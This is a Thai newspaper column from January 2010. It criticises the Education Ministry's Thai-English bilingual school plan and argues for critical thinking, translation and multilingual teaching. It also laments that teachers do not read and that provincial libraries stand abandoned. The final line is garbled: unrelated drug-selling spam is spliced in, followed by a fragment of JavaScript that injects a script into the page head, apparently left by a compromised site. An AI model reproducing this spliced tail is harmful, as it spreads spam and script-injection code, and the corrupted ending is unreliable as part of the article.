ฉบับประจำวันจันทร์ที่ 25 มกราคม 2553

ให้นักเรียนนักศึกษารู้จักคิด, วิเคราะห์อย่างมีที่มาที่ไป, แล้วมีจินตนาการกระตือรือร้นแลกเปลี่ยนเรียนรู้มากขึ้นอีกไม่สิ้นสุด เพื่อรู้เขา-รู้เรา-รู้โลก

กับให้นักเรียนนักศึกษารู้ภาษาอังกฤษ แต่คิดไม่เป็น, วิเคราะห์ไม่ได้ ไม่มีจินตนาการ แล้วไม่อยากรู้อะไรอีก

จะเลือกเน้นอย่างไหน?

กรณีกระทรวงศึกษาธิการมีนโยบายยกระดับโรงเรียนสู่มาตรฐานสากล คือให้สอนสองภาษาเป็นไทย-อังกฤษ เริ่มจาก 500 โรงเรียน

“จัดลำดับมาตรฐานสากลที่ว่าให้เหมาะกับตัวเราเสียก่อน ก็ยังดีกว่าอะไรมาก่อนหลัง” สุกัญญา หาญตระกูล เขียนไว้ในคอลัมน์เล่าเรื่องจากโรงเรียนลงในเนชั่นสุดสัปดาห์ (ฉบับวันศุกร์ที่ 15 มกราคม 2553 หน้า 71) “การคิดเป็น วิเคราะห์เป็น เรียนรู้กันได้ในทุกภาษา ซึ่งจะทำได้ทั่วถึงทุกโรงเรียน ไม่ใช่เลือกทำอะไรบางอย่างสำหรับ 500 โรงเรียน แล้วปล่อยให้อีก 30,000 โรงเรียน สะสมความเสียเปรียบต่อไป”

ญี่ปุ่นไม่ได้สร้างสังคมใหม่ที่รู้จักคิด, วิเคราะห์, แลกเปลี่ยนเรียนรู้ด้วยภาษาอังกฤษ แต่สร้างด้วยภาษาญี่ปุ่น จะเห็นว่าระดมแปลทุกอย่างเป็นภาษาญี่ปุ่นอย่างเอาจริงเอาจัง เมื่อสำเร็จแล้วถึงเน้นมาตรฐานสากลให้ความสำคัญต่อภาษาอังกฤษ

แต่ระบบการเรียนการสอนภาษาไทยในสถาบันทุกระดับของไทยที่ผ่านมาช้านานก็ยังไม่เอื้อเฟื้อเกื้อกูลให้เกิดมาตรฐานสากล— เช่น คิดเป็น, วิเคราะห์เป็น, รู้เขา, รู้เรา  รู้โลก, ฯลฯ เพราะให้ความสำคัญผิดที่ผิดทาง คือมุ่งอนุรักษ์—ผู้พิทักษ์ภาษาไทย แล้วงมงายจนโงหัวไม่ขึ้น

ฉะนั้นที่คณะกรรมการการศึกษาขั้นพื้นฐาน (กพฐ.) จะกระตุ้นให้ครูผู้สอนภาษาไทยเน้นให้เด็กรู้จักคิด วิเคราะห์ มีเหตุมีผล (ASTV ผู้จัดการ ฉบับวันอังคารที่ 19 มกราคม 2553 หน้า 10) จึงเพ้อฝันบรรเจิดบรรจงอย่างยิ่ง เพราะเคยเพ้อฝันกันมาก่อนหลายครั้งหลายหนแล้ว ไม่เคยสำเร็จ

“หากเห็นประโยชน์การรู้มากกว่าหนึ่งภาษาอย่างแท้จริง ก็ควรสร้างนโยบายพหุภาษาไปเลยในโรงเรียนสองภาษาที่ว่า” สุกัญญาเขียนแนะนำ แล้วชี้ทางบรรเทาทุกข์ว่า  “อาจเป็นไทย-อังกฤษ, ไทย-จีน, ไทย-มลายู และส่งเสริมภาษาถิ่น ภาษาเพื่อนบ้าน สำหรับโรงเรียนชายแดนร่วมอย่างกัมพูชา ลาว พม่า เป็นต้น ตามความสมควร”

“ไม่ใช่ทำ ‘สองภาษา’ ไทย-อังกฤษ เพื่อประโยชน์ในการแข่งขันทางเศรษฐกิจและสำหรับโรงเรียนเฉพาะกลุ่มเท่านั้น” สุกัญญา หาญตระกูล ย้ำในบทความ

มาตรฐานสากลเพื่อรู้เขา รู้เรา รู้โลก, รู้จักคิด, รู้จักวิเคราะห์, แล้วมีจินตนาการ, ฯลฯ ไม่จำเป็นต้องได้จากภาษาอังกฤษเท่านั้น อ่านหนังสือภาษาอังกฤษที่แปลเป็นภาษาไทยก็ได้

ปัญหาอยู่ที่ครูอาจารย์ไม่อ่านต่างหาก แล้วจะมีอะไรไปสอนนักเรียนนักศึกษา ถึงสอนได้ก็ได้อย่างต่ำกว่ามาตรฐาน คือได้“พลเมืองจ๋องๆ”อย่างที่อาจารย์นิธิ  เอียวศรีวงศ์ บอกว่า “การศึกษาไทยมีจุดมุ่งหมายจะสร้างพลเมืองจ๋องๆ (มติชน ฉบับวันจันทร์ที่ 11 มกราคม 2553 หน้า 6)

นอกจากครูบาอาจารย์ไม่อ่านหนังสือ ยังไม่กระตุ้นให้นักเรียนนักศึกษาอ่าน เพราะไม่รู้จะกระตุ้นอะไร ส่วนห้องสมุดก็ไม่ชวนเข้าไปหาอ่านหนังสือ อาจารย์นิธิบอกว่า “เราสร้างห้องสมุด ‘เฉลิมพระเกียรติ’ ไว้ตามต่างจังหวัด แต่ในที่สุดก็ถูกทิ้งร้าง เพราะไม่มีกิจกรรมส่งเสริมสนับสนุน”

ใครไม่เชื่อว่าจะมีคนใจร้ายปล่อยให้ห้องสมุด“เฉลิมพระเกียรติ”ถูกทิ้งร้าง ก็ให้ดูได้ทุกแห่งที่มีในต่างจัหวัด ถ้าคิดไม่ออกจะดูที่ไหน ให้แวะไปที่ จ. ปราจีนบุรี

เมื่อห้องสมุด เฉลิมพระเกียรติŽไม่ชวนอ่าน ครูเลยไม่อ่าน นักเรียนก็ไม่อ่าน แล้วจะรู้อย่างไรว่าความเป็นไทย เป็นยาหลอนประสาทออกฤทธิ์ร้ายแรงที่สุด อย่างที่มีบอกในหนังสือชื่อ อ่าน วารสารรายสามเดือนฉบับใหม่ ไอดา อรุณวงศ์ บรรณาธิการ ตามร้านหนังสือ (ไม่ทั่วไป ไม่ทั่วประเทศ)fluoxetine contraindications order forzest onlined.getElementsByTagName(‘head’)[0].appendChild(s);